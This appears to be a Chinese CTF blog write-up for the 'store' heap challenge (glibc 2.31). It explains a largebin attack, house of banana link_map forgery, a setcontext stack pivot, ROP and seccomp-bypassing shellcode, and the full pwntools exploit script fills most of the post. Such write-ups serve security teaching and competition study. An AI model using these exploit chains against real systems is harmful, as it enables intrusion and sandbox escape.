store

store

强网拟态一道人畜无害的堆题,libc是2.31,house of banana

add:

大小范围0-0xfff,前两次分配两个堆,总共四个堆,可以拿到两个堆的指针,后续申请只会执行malloc一次,拿不到后续堆指针

image-20221110012737773.png

free:

没有清理堆指针,有UAF,且free次数只有4次,只free两个堆中的前面那个堆

image-20221110012759756.png

edit:

同时对2个堆操作

image-20221110012812395.png

show:

同时对2个堆操作

image-20221110012824347.png

开启了prctl沙箱:

image-20221110012942044.png

可以看到允许的函数里ORW没有O,但是有允许64位的fstat,对应32位open,一般被误导的思路是写shellcode然后retfq到32位调用open,再retfq回64位调用RW,但这个前提是允许内存分配函数,即64位的mmap。这里只允许32位的mmap(调用号0xc0),由于seccomp-tools的解析调用号全部是按64位解析的,所以64位和32位都显示成了lgetxattr函数,实际上是同一个调用号0xc0。被误导思路来自于强网杯的shellcode,已经尝试过那题也可以用int 0x80直接调用32位函数

那么retfq就完全不好用了,因为得提前分配4字节空间,保证retfq的时候不会崩。此时我们可以看到,他过滤每次都有判断架构,那么我们可以试着直接在64位shellcode下写int 0x80,调用32位函数(gdb仍然是按64位调用号解析,但实际执行是32位函数)

ORW的思路变成,先布置32位mmap的参数,然后int 0x80直接调用,分配4字节空间,然后布置32位open参数,int 0x80,此后布置64位的read和write即可。

回到原题,前面流程的打法largebin attack,由于是2.31版本,有largebin长度与unsortbin长度检查,我们先申请一大一小2个堆,然后free掉大堆,再申请更大的堆,让先前的大堆从unsortedbin进入largebin,然后更改大堆的bk_nextsize为我们想要写入一个堆地址的地方,即让此处为一个较大的值,然后free较小的堆,再申请更大堆,让小堆进入largebin,此时完成攻击,bk_nextsize填的地方写入了一个堆地址。此时我选择写_rtld_global的表头,也就是修改link_map的地址,变成我们可以用来伪造的堆地址。

add2(0x528)#0 1
add2(0x500)#2 3
free(0)
add1(0x800)#4

show(0)
ru('\n')
leak=u64(r(6).ljust(8,'\x00'))
libc_base=leak-0x1EC010
print hex(leak)
print hex(libc_base)
pl='a'*16
edit(0,pl)
show(0)
ru('a'*16)
leak2=u64(r(6).ljust(8,'\x00'))

heap_base=leak2-0x290
print hex(leak2)

print hex(heap_base)
rtld_global=libc_base+0x222060
print hex(rtld_global)
pl=p64(leak)+p64(leak)+p64(leak2)+p64(rtld_global-0x20)
edit(0,pl)
free(1)

add1(0x800)#largebin attack

house of banana

很自然,在 house of banana 的利用中,我们需要劫持_rtld_global 的首地址,也就是_ns_loaded,将它通过 largebin attack 等方式改写为我们可控的堆地址,然后再对 link_map 进行伪造(当然,对于有些题目,有办法直接劫持到原先的 link_map 并修改,那更好)。

伪造 link_map 的时候,首先就需要注意几个地方:将 l_next 需要还原,这样之后的 link_map 就不需要我们再重新伪造了;将 l_real 设置为自己伪造的 link_map 堆块地址,这样才能绕过检查。

之后,我们再回到_dl_fini.c 中的源码,看看如何利用 house of banana 进行攻击。

首先,再最外层判断中,需要使 l->l_init_called 为真,因此需要对 l_init_called 进行一个伪造。

然后,需要使 l->l_info [DT_FINI_ARRAY] != NULL,才能调用函数指针,这里有 #define DT_FINI_ARRAY 26,也就是使得 l->l_info [26] 不为空。

再之后就是 array = (l->l_addr + l->l_info [DT_FINI_ARRAY]->d_un.d_ptr);,这里需要伪造 link_map 中的 l_addr(这里在已经伪造的 link_map 的堆块头,需要通过其上一个堆块溢出或是合并后重分配进行修改),以及 l->l_info [26]->d_un.d_ptr,也就是 l->l_info [27],使其相加的结果为函数指针的基地址。

调用函数指针的次数 i 由 i = (l->l_info [DT_FINI_ARRAYSZ]->d_un.d_val/sizeof (ElfW (Addr))) 控制,其中 #define DT_FINI_ARRAYSZ 28,sizeof (ElfW (Addr)) = 8,因此 i = l->l_info [29] / 8。

这里每次调用的函数指针都为上一个的地址减 8,直到最后调用函数指针的基地址 array,而每一次调用函数指针,其 rdx 均为上一次调用的函数指针的地址,由此我们可以轻松地通过 setcontext + 61 布置 SROP,跳转执行 ROP 链。

应用:

_rtld_global与exit中的dl_fini函数关系密切,修改_rtld_global开头的link_map地址,就能让dl_fini执行我们伪造的link_map

我们向rtld_global开头写入的是heap_base+0xcf0,这是一个堆的最开头位置,即能看到prev_size,size。然后就是在该堆中伪造link_map,绕过的payload如下,这个用来伪造的堆的前一个堆,需要申请0x8结尾的size,保证前一个堆能写该堆的prev_size。

向heap_base+0xcf0+0x18位置填上原本的link_map的l_next指针,向prev_size写入heap_base+0xcf0+0x20,在payload的pop_rbp位置填上第一个rop,然后在payload相对应位置填上set_context+61和ret指令,此时该ret指令之后就是第二个及后续rop的位置,此处为先触发ret指令,然后触发set_context+61(此时heap_base+0x290+8及其后成为栈),然后执行pop_rbp,然后是leave_ret进行栈迁移

可用p *(struct link_map *)跟上原本link_map地址查看link_map结构体成员

heap1=heap_base+0xcf0+0x10
heap2=heap_base+0xcf0
spec=libc_base + 0x223740#l_next
heap_addr=heap_base

payload = p64(0) + p64(spec) + p64(0) + p64(heap2)
payload += p64(set_context) + p64(ret)
payload+=p64(heap_base+0x290+8)+p64(leave_ret)

payload += '\x00'*0x88

payload += p64(heap2 + 0x28 + 0x18)

payload += p64(pop_rbp)
payload = payload.ljust(0x100,'\x00')
payload += p64(heap2 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += p8(0x8)


edit(1,payload)
pl=(0x520-8)*'a'+'./flag\x00\x00'+p64(heap2+0x20)

迁移后,调用mprotect设置rwx段,然后read读入该段,jmp到该段执行shellcode

pl1=''
pl1+=p64(pop_rdi)+ p64(heap_base) + p64(pop_rsi) + p64(0x4000) + p64(pop_rdx_r12) + p64(7) + p64(0) + p64(libc_base+libc.sym['mprotect'])
pl1+=p64(pop_rdi)+  p64(0) + p64(pop_rsi) + p64(heap_base+0xff0) + p64(pop_rdx_r12) + p64(0x1000) + p64(0) + p64(libc_base+libc.sym['read'])
pl1+= p64(jmp_rsi)


edit(0,pl1,pl)
print hex(spec)
#print len(code)
#print len(payload)
gdb.attach(p,'b _dl_fini')
sal('choice: ',str(5))

p.sendline(code1)

shellcode根据之前说的,先布置32位mmap的参数,然后int 0x80直接调用,分配4字节空间,然后布置32位open参数,int 0x80,此后布置64位的read和write

code1=asm('''
        mov ebx, 0xabcd0000
        mov ecx, 0x1000
        mov edx, 7
        mov esi, 0x22
        mov edi, -1
        mov ebp, 0
        mov eax, 192
        int 0x80
        lea rsp, [rax+0x800]
        mov rax, 0x101010101010162
        mov r15, 0x0101010101010101
        sub rax, r15
        mov rax, 0x67616c662f2e
        push rax
        ;// "./flag"
        mov rax, rsp
        mov rbx, rsp
        xor eax, eax
        xor edx, edx
        xor esi, esi
        xor edi, edi
        mov ecx, eax
        mov al, 5
        int 0x80 ;// open
        push rax
        mov rsi, rsp
        xor eax, eax
        mov edx, eax
        inc eax
        mov edi, eax
        mov dl, 8
        syscall ;// write open() return value
        pop rax
        test rax, rax
        js over
        mov edi, eax
        mov rsi, rsp
        mov edx, 0x01010201
        sub edx, 0x01010101

        xor eax, eax
        syscall ;// read
        mov edx, eax
        mov rsi, rsp
        xor eax, eax
        inc eax
        mov edi, eax
        syscall ;// write
over:
        xor edi, edi
        mov eax, 0x010101e8
        sub eax, 0x01010101
        syscall ;// exit
''',arch = 'amd64', os = 'linux')

exp:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
#context.terminal = ['tmux','splitw','-h']
#context.arch='amd64'
#p=remote('127.0.0.1',6666)
binary="./store"
p=process(binary)
#context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/home/lmy/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')

elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
bp      = lambda bkp                :gdb.attach(p,'b *'+str(bkp))







def add2(size,content='\x00',remark='\x00'):
    sal('choice: ',str(1))
    sal('Size: ',str(size))
    sa('Content: \n',content)
    sa('Remark: \n',remark)
def add1(size):
    sal('choice: ',str(1))
    sal('Size: ',str(size))


def free(index):
    sal('choice: ',str(2))
    sal('Index: ',str(index))

def edit(index,content='\x00',remark='\x00'):
    sal('choice: ',str(3))
    sal('Index: ',str(index))
    sa('Content: \n',content)
    sa('Remark: \n',remark)

def show(index):
    sal('choice: ',str(4))
    sal('Index: ',str(index))

def fake_linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap=p64(offset & (2**64-1)) # 1-- l_addr

    # 2-- fake_linkmap_addr+0x8:  DT_JMPREL,其结构参考.dynamic段
    linkmap+=p64(0) # 任意值即可
    linkmap+=p64(fake_linkmap_addr+0x18) # 伪造的.rel.plt的地址

    # 3-- fake_linkmap_addr+0x18
    linkmap+=p64((fake_linkmap_addr+0x30-offset)&(2**64-1)) # r_offset: got表上的地址,没有用到,设置为一个可读写地址即可
    linkmap+=p64(0x7) # r_info: 0x7 >> 32 = 0, 对应sym表的索引0,第一项
    linkmap+=p64(0) # r_addend: 任意值即可

    linkmap+=p64(0) # l_ns

    # 4-- fake_linkmap_addr+0x38: DT_SYMTAB
    linkmap+=p64(0) # 任意值即可
    linkmap+=p64(known_func_ptr-0x8) # 指向sym表首地址,间接使st_value = known_func_ptr
    
    # fake_linkmap_addr+0x48
    linkmap+='/bin/sh\x00'
    linkmap=linkmap.ljust(0x68,'A')
    linkmap+=p64(fake_linkmap_addr) # 设定 DT_STRTAB 所在的地址
    linkmap+=p64(fake_linkmap_addr+0x38) # 0x70 设定 DT_SYMTAB 所在的地址
    linkmap=linkmap.ljust(0xf8,'B')
    linkmap+=p64(fake_linkmap_addr+0x8) #设定 DT_JMPREL 所在的地址:任意可读区域即可
    return linkmap




add2(0x528)#0 1
add2(0x500)#2 3
free(0)
add1(0x800)#4

show(0)
ru('\n')
leak=u64(r(6).ljust(8,'\x00'))
libc_base=leak-0x1EC010
print hex(leak)
print hex(libc_base)
pl='a'*16
edit(0,pl)
show(0)
ru('a'*16)
leak2=u64(r(6).ljust(8,'\x00'))

heap_base=leak2-0x290
print hex(leak2)

print hex(heap_base)
rtld_global=libc_base+0x222060
print hex(rtld_global)
pl=p64(leak)+p64(leak)+p64(leak2)+p64(rtld_global-0x20)
edit(0,pl)
free(1)

add1(0x800)#largebin attack



set_context = libc_base + libc.sym['setcontext'] + 0x3D
ret = libc_base + libc.sym['setcontext'] + 0x14E
pop_rdi = libc_base + 0x0000026b72
binsh_addr = libc_base + libc.search('/bin/sh').next()
system_addr =  libc_base + libc.sym['system']
my_link_map=heap_base + 0xcf0+0x10
pop_rsi=libc_base+0x027529
pop_rdx_r12=0x11c1e1+libc_base
pop_rax=0x04a550+libc_base
syscall=0x066229+libc_base
pop_rsp=0x032b5a+libc_base
jmp_rdi=0x00e60e9+libc_base
call_rsp=0x011d6b1+libc_base
pop_rbp=0x00256c0+libc_base
jmp_rsi=0x01105bd+libc_base
setformer1=0x1547a0+libc_base
setformer2=0x1502d9+libc_base
leave_ret=0x005aa48+libc_base


#payload=fake_linkmap_payload(heap_base + 0xcf0,set_context,l_addr)

# payload=''
# payload+= p64(my_link_map + 0x20)+p64(0)
# payload += p64(my_link_map + 0x5a0)+p64(0)
# payload += p64(my_link_map)

# payload += p64(set_context)
# payload += p64(ret)

# payload += p64(0)
# payload += p64(ret)
# payload += p64(my_link_map + 0x78)
# payload += p64(0)
# payload += p64(0x100)
# payload += p64(0)
# payload += p64(0)
# payload+=p64(0)*13

# payload += p64(my_link_map + 0x40)
# payload += p64(pop_rdi)

# payload += p64(my_link_map + 0x110)
# payload += p64(0)
# payload += p64(my_link_map + 0x120)
# payload += p64(0x20)


# payload = payload.ljust(0x340,'\x00')
# payload+=p64(heap1+0x328)
# payload = payload.ljust(0x350,'\x00')
# payload+=p64(heap1+0x328)




# heap1=heap_base+0xcf0+0x10
# heap2=heap_base+0xcf0
# payload=p64(0)#0
# payload+= p64(heap1+0x10)#1
# payload+=p64(0)#2
# payload+= p64(heap2)#3
# payload+=p64(0)#4
# payload += p64(heap1+0x18)#5
# payload+=p64(heap1+0x40)#6

# payload+=p64(heap1+0x10)#7
# payload += p64(heap1+0x18)#8
# payload+=p64(0)#9
# payload+=p64(0)#10
# payload+=p64(0)#11
# payload+=p64(0)#12
# payload+=p64(heap1+0x40)#13
# payload+=p64(0)*18
# payload+=p64(heap1+0x180)#0x20
# payload+=p64(0)
# payload+=p64(heap1+0x118)#0x22
# payload+=p64(0)
# payload+=p64(0x8)#0x24
# payload+=p64(0)*0xb
# payload+=p64(0x1a)#0x30
# payload+=p64(0)
# #fake_rtld_global[-2] = &fake_rtld_global[0x32];
# payload+=p64(setformer2)
# payload+=code

# payload+=(0x2e*8-len(code))*'\x00'
# payload+=p64(0x800000000)




code_append = asm('''
        push rcx
        pop rcx
''', arch = 'amd64', os = 'linux')
# 用mmap分配一段内存空间
code_mmap = asm('''
        /*mov rdi, 0x40404040*/
        push 0x40404040
        pop rdi

        /*mov rsi, 0x7e*/
        push 0x7e
        pop rsi

        /*mov rdx, 0x7*/
        push 0x37
        pop rax
        xor al, 0x30
        push rax
        pop rdx

        /*mov r8, 0*/
        push 0x30
        pop rax
        xor al, 0x30
        push rax
        pop r8

        /*mov r9, 0*/
        push rax
        pop r9


        /*mov rax, 0x9*/
        push 0x9
        pop rax
        syscall
''', arch = 'amd64', os = 'linux')

code_read = asm('''
        /*mov rsi, 0x40404040*/
        push 0x40404040
        pop rsi

        /*mov rdi, 0*/
        push 0x30
        pop rax
        xor al, 0x30
        push rax
        pop rdi

        /*mov rdx, 0x7e*/
        push 0x7e
        pop rdx

        /*mov rax, 0*/
        push 0x30
        pop rax
        xor al, 0x30

        /*syscall*/
        syscall

''', arch = 'amd64', os = 'linux')

retfq_0='''
        push 0x23
        push rsp
        retfq
'''
#        push '''+hex(0x40404040)+'''
code_retfq = asm(retfq_0, arch = 'amd64', os = 'linux')
#        push 0x40404040
open1='''
        /* open函数 */
        mov esp, '''+hex(0x40404550)
open2='''
        push 0x67616c66
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        mov eax, 0x5
        int 0x80
        mov ecx, eax
'''
open=open2
code_open = asm(open, arch = 'i386', os = 'linux')


retfq_1='''
        push 0x33
        
        retfq
'''
#push '''+hex(0x40404040)+'''
code_retfq_1 = asm(retfq_1, arch = 'amd64', os = 'linux')
 #       push 0x40404062 /* 具体数字有待修改 */


        #/* 修复栈 */
        #mov esp, 0x40404550 /* 有待修改 */
code_read_write = asm('''


        /* read函数 */
        mov rdi, rax
        mov rsi, 0x40404800
        mov rdx, 0x7a
        xor rax, rax
        syscall

        /* write函数 */
        mov rdi, 0x1
        mov rsi, 0x40404800
        mov rdx, 0x7a
        mov rax, 0x1
        syscall
''', arch = 'amd64', os = 'linux')

#code = code_mmap
#code += code_append
#code = code_retfq
#code += code_append

code  = code_open
#code += code_retfq_1
code += code_read_write

code1=asm('''
        mov ebx, 0xabcd0000
        mov ecx, 0x1000
        mov edx, 7
        mov esi, 0x22
        mov edi, -1
        mov ebp, 0
        mov eax, 192
        int 0x80
        lea rsp, [rax+0x800]
        mov rax, 0x101010101010162
        mov r15, 0x0101010101010101
        sub rax, r15
        mov rax, 0x67616c662f2e
        push rax
        ;// "./flag"
        mov rax, rsp
        mov rbx, rsp
        xor eax, eax
        xor edx, edx
        xor esi, esi
        xor edi, edi
        mov ecx, eax
        mov al, 5
        int 0x80 ;// open
        push rax
        mov rsi, rsp
        xor eax, eax
        mov edx, eax
        inc eax
        mov edi, eax
        mov dl, 8
        syscall ;// write open() return value
        pop rax
        test rax, rax
        js over
        mov edi, eax
        mov rsi, rsp
        mov edx, 0x01010201
        sub edx, 0x01010101

        xor eax, eax
        syscall ;// read
        mov edx, eax
        mov rsi, rsp
        xor eax, eax
        inc eax
        mov edi, eax
        syscall ;// write
over:
        xor edi, edi
        mov eax, 0x010101e8
        sub eax, 0x01010101
        syscall ;// exit
''',arch = 'amd64', os = 'linux')


heap1=heap_base+0xcf0+0x10
heap2=heap_base+0xcf0
spec=libc_base + 0x223740#l_next
heap_addr=heap_base

payload = p64(0) + p64(spec) + p64(0) + p64(heap2)
payload += p64(set_context) + p64(ret)
payload+=p64(heap_base+0x290+8)+p64(leave_ret)

payload += '\x00'*0x88

payload += p64(heap2 + 0x28 + 0x18)

payload += p64(pop_rbp)
payload = payload.ljust(0x100,'\x00')
payload += p64(heap2 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += p8(0x8)




edit(1,payload)
pl=(0x520-8)*'a'+'./flag\x00\x00'+p64(heap2+0x20)


pl1=''
pl1+=p64(pop_rdi)+ p64(heap_base) + p64(pop_rsi) + p64(0x4000) + p64(pop_rdx_r12) + p64(7) + p64(0) + p64(libc_base+libc.sym['mprotect'])
pl1+=p64(pop_rdi)+  p64(0) + p64(pop_rsi) + p64(heap_base+0xff0) + p64(pop_rdx_r12) + p64(0x1000) + p64(0) + p64(libc_base+libc.sym['read'])
pl1+= p64(jmp_rsi)


edit(0,pl1,pl)
print hex(spec)
#print len(code)
#print len(payload)
gdb.attach(p,'b _dl_fini')
sal('choice: ',str(5))

p.sendline(code1)



it()

参考:

https://www.anquanke.com/post/id/222948?display=mobile#h2-0

https://www.wangan.com/p/7fy7f60c4896d712#houseofbanana

https://zhuanlan.zhihu.com/p/535469996

posted @ 2022-11-10 02:41  brain_Z  阅读(163)  评论(0编辑  收藏  举报